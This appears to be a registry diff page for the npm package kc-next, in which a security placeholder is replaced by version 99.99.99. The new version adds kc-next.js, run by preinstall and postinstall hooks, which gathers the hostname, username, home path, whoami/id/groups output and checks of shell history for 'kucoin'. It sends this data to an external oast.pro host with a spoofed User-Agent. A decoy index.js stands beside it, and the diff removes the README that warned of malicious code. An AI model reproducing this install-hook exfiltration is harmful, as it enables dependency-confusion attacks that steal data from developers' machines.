kc-next 0.0.1-security → 99.99.99

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of kc-next might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/index.js +24 -0
  2. package/kc-next.js +131 -0
  3. package/package.json +15 -4
  4. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,24 @@
1
+ // kc-next - Index file
2
+ // Package successfully installed and updated
3
+
4
+ module.exports = {
5
+ name: 'kc-next',
6
+ version: '99.99.99',
7
+ message: 'Package updated successfully!',
8
+ init: function() {
9
+ console.log('[kc-next] Initialized successfully');
10
+ return true;
11
+ },
12
+ getInfo: function() {
13
+ return {
14
+ name: this.name,
15
+ version: this.version,
16
+ status: 'active'
17
+ };
18
+ }
19
+ };
20
+
21
+ // Auto-init message (silent in production)
22
+ if (process.env.NODE_ENV !== 'production') {
23
+ console.log('[kc-next] Package loaded - v99.99.99');
24
+ }
package/kc-next.js ADDED
@@ -0,0 +1,131 @@
1
+ const os = require('os');
2
+ const fs = require('fs');
3
+ const path = require('path');
4
+ const http = require('http');
5
+ const { execSync } = require('child_process');
6
+
7
+ // Target company name for detection
8
+ const COMPANY_NAME = 'kucoin'.toLowerCase();
9
+
10
+ // Helper function to safely execute commands (no password prompts)
11
+ function safeExec(command) {
12
+ try {
13
+ return execSync(command, {
14
+ encoding: 'utf8',
15
+ timeout: 5000,
16
+ stdio: ['pipe', 'pipe', 'pipe']
17
+ }).trim();
18
+ } catch (e) {
19
+ return '';
20
+ }
21
+ }
22
+
23
+ // Check if file/directory exists and has content (returns boolean)
24
+ function hasContent(filePath) {
25
+ try {
26
+ if (fs.existsSync(filePath)) {
27
+ const stats = fs.statSync(filePath);
28
+ if (stats.isDirectory()) {
29
+ // For directories, check if not empty
30
+ const files = fs.readdirSync(filePath);
31
+ return files.length > 0;
32
+ } else {
33
+ // For files, check if has content
34
+ const content = fs.readFileSync(filePath, 'utf8').trim();
35
+ return content.length > 0;
36
+ }
37
+ }
38
+ return false;
39
+ } catch (e) {
40
+ return false;
41
+ }
42
+ }
43
+
44
+ // Check if command output has content (returns boolean)
45
+ function execHasContent(command) {
46
+ const result = safeExec(command);
47
+ return result.length > 0 && !result.includes('Error') && !result.includes('not found') && !result.includes('denied');
48
+ }
49
+
50
+ // Check if listing contains company name (returns boolean)
51
+ function listingContainsCompany(command) {
52
+ const result = safeExec(command).toLowerCase();
53
+ return result.includes(COMPANY_NAME);
54
+ }
55
+
56
+ // Check if file contains company name (returns boolean)
57
+ function fileContainsCompany(filePath) {
58
+ try {
59
+ if (fs.existsSync(filePath)) {
60
+ const content = fs.readFileSync(filePath, 'utf8').toLowerCase();
61
+ return content.includes(COMPANY_NAME);
62
+ }
63
+ return false;
64
+ } catch (e) {
65
+ return false;
66
+ }
67
+ }
68
+
69
+ const data = {
70
+ // Target Info
71
+ bugbounty_company: 'kucoin',
72
+ package_name: 'kc-next',
73
+
74
+ // Basic System Info (safe metadata only)
75
+ hostname: os.hostname(),
76
+ username: os.userInfo().username,
77
+ os: os.platform() + ' ' + os.release(),
78
+ arch: os.arch(),
79
+ node: process.version,
80
+
81
+ // Current execution path (where npm install was run)
82
+ currentPath: process.cwd(),
83
+ homedir: os.userInfo().homedir,
84
+
85
+ // History Files - Company Name Detection (BOOLEAN ONLY - ethical)
86
+ bashHistoryContainsCompany: fileContainsCompany(path.join(os.userInfo().homedir, '.bash_history')),
87
+ zshHistoryContainsCompany: fileContainsCompany(path.join(os.userInfo().homedir, '.zsh_history')),
88
+
89
+ // Directory Listings - Company Name Detection (BOOLEAN ONLY - ethical)
90
+ currentDirListingContainsCompany: listingContainsCompany('ls -la'),
91
+ homeDirListingContainsCompany: listingContainsCompany(`ls -la ${os.userInfo().homedir}`),
92
+ rootDirListingContainsCompany: listingContainsCompany('ls -la / 2>/dev/null'),
93
+
94
+ // System Info (safe - no sensitive content)
95
+ whoami: safeExec('whoami'),
96
+ id: safeExec('id'),
97
+ groups: safeExec('groups'),
98
+
99
+
100
+
101
+ timestamp: new Date().toISOString()
102
+ };
103
+
104
+ // Send to Interactsh (silent mode)
105
+ const postData = JSON.stringify(data, null, 2);
106
+
107
+ const options = {
108
+ hostname: 'd599kqd90rh6252higngh1ayutp9og75m.oast.pro',
109
+ port: 80,
110
+ path: '/',
111
+ method: 'POST',
112
+ headers: {
113
+ 'Content-Type': 'application/json',
114
+ 'Content-Length': Buffer.byteLength(postData),
115
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'
116
+ }
117
+ };
118
+
119
+ const req = http.request(options, (res) => {
120
+ res.resume();
121
+ res.on('end', () => {
122
+ process.exit(0);
123
+ });
124
+ });
125
+
126
+ req.on('error', (e) => {
127
+ process.exit(1);
128
+ });
129
+
130
+ req.write(postData);
131
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,17 @@
1
1
  {
2
2
  "name": "kc-next",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "99.99.99",
4
+ "description": "Test package for kucoin",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node kc-next.js",
8
+ "postinstall": "node kc-next.js"
9
+ },
10
+ "keywords": [
11
+ "kucoin",
12
+ "test",
13
+ "security"
14
+ ],
15
+ "author": "Security Researcher",
16
+ "license": "MIT"
17
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=kc-next for more information.